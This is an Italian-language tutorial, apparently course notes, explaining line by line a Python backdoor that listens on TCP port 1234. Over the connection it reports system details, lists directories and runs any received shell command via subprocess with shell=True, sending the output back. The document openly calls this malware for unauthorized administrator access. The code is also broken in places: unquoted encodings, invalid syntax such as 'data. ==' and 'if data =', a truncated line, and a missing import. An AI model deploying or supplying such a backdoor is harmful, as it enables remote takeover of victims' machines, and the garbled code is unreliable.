

```
import socket, platform, os
```

```
# andiamo a usare la libreria socket,platform e os
```

```
SRV_ADDR = "" # l'indirizzo sui cui la backdoor deve ascoltare le condizioni di ingresso
```

```
SRV_PORT = 1234 #porta del servizio che voglio ascoltare le condizioni di ingresso
```

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #creiamo un nuovo socket .andiamo a prendere l'oggetto socket che sta all'interno del modulo socket ,il metodo socket. Passiamo dei parametri che sono socket. AF_INET e socket SOCK_STREAM, il primo ci dice il socket che dobbiamo costruire sara Ipv4 con un protocollo TCP.
```

```
s.bind((SRV_ADDR, SRV_PORT)) #a questo oggetto (s) faremo il bind tra l'indirizzo e la porta questo perchè quando abbiamo l'oggetto (s) che vuole sapere quali sono le sue interfacce di riferimento.
```

```
s.listen(1) #abbiamo creato il socket, gli abbiamo detto su quale interfaccia ascoltare e lo mettiamo in ricezione ,lo facciamo con il metodo (listen (1)<---questo significa che accetta una connessione alla volta.
```

```
connection, address = s.accept() #una volta avviato il mio socket in ascolto ,questo accetta la connessione di qualcuno che si è collegato.e mi darà le informazioni di chi si è collegato .
```

```
print("client connected:",address) # stampa le informazioni di chi si è collegato alla mia backdoor.(perchè la propria backdoor agisce come server).
```

```
While 1: # abbiamo creato il nostro socket,gli abbiamo detto su quale interfaccia deve ascoltare ,Gli abbiamo detto di stare in ascolto e poi abbiamo accettato la prima connessione che ci è arrivata,e abbiamo l'oggetto connection .Per agire su questo oggetto connection creiamo un ciclo while.che ci servirà a leggere continuamente i dati che arrivano su connection.((1)<--in python significa TRUE)
```

```
try: #è un blocco in cui le istruzioni che vi sono state inserite tra try e except vengono monitorate .
```

```
data = connection.recv(1024).decode(utf-8).strip() #All'interno di questo ciclo,come prima istruzione andiamo a prendere il nostro oggetto connection. All'interno dell'oggetto connection abbiamo il metodo (connection.recv(1024) e gli diciamo di prendere questa connessione che ha stabilito perchè è di tipo TCP e legge 1024 byte che sono arrivati.conservati all'interno di data .Quindi all'interno di data avremo il client che si è collegato a questo server.
```

```
except: continue #è un blocco dove le istruzioni vengono controllate e monitorate. E continua con il ciclo
```

```
if(data == '1'): #se il dato ricevuto 1 è uguale a 1 ,prenderà delle informazioni sulla piattaforma e le informazioni sulla macchina tramite l'oggetto platform .Gli oggetti platform ridiventano delle stringhe . Concateniamo le due stringhe e le inseriamo all'interno di un'altra stringa(tosend).Il programma prende le informazioni sulla macchina che sta girando e le invia indietro, prende (tosend) per far diventare la stringa in byte.e lo dà alla sendall. Questo metodo che sta dentro l'oggetto connection invierà tutto il contenuto sull'oggetto connection
```

```
tosend = platform.platform() + " " + platform.machine()
connection.sendall(tosend.encode())
```

```
elif(data == '2'): # se data è uguale 1 ma è invece 2 non partirà la prima condizione e passerà
nella seconda condizione . Il programma sta di nuovo in attesa di ricevere nuovi dati
```

```
data = connection.recv(1024) #2if resta in attesa di dati in arrivo e li conserva nella
stringa data
```

```
try: #se il codice va in errore lo si può gestire e non fa crashare tutto il programma.,
```

```
filelist = os.listdir(data.decode(utf-8).strip()) # i dati che ci sono arrivati li
interpretiamo secondo (utf-8) che è la codifica dei nostri caratteri. Quindi riceviamo questa ulteriore
informazione(stringa) e la diamo prima all'oggetto (os) e poi al metodo interno di questo oggetto
(listdir).chiede di fargli la lista del percorso.
```

```
tosend = ""#stringa vuota
```

```
for x in filelist:#ciclo for per le liste
```

```
toSend += "," +
```

```
except:
```

```
tosend = "wrong path"#percorso sbagliato invio il messaggio (wrong path)
```

```
connection.sendall(tosend.encode()) # serve per inviare a tutti i partecipanti un messaggio
di conferma
```

```
elif(data. == '3'): # nella terza condizione gli diciamo, ogni comando che si riceve
all'interno di data viene eseguito.(es. La creazione di un file)
```

```
while true :
```

```
data = connection.recv(1024).decode(utf-8).strip()
```

```
if data = "killout":
```

```
break:
```

```
proc = subprocess.Popen(data, shell=True, stdout = subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
```

```
output= proc.stdout.read() + proc.stderr.read()
```

```
connection.sendall(output)
```

```
connection.sendall("//>".encode())
```

```
elif (data == '0'):
```

```
connection.close #chiude la connessione
```

```
connection,address = s. accept() #resta in attesa di un'altra connessione
```

backdoor è una applicazione (definita come malware) . Letteralmente significa porta sul retro. Si tratta righe di codice grazie alle quali un utente può entrare come amministratore senza avere alcun accesso autorizzato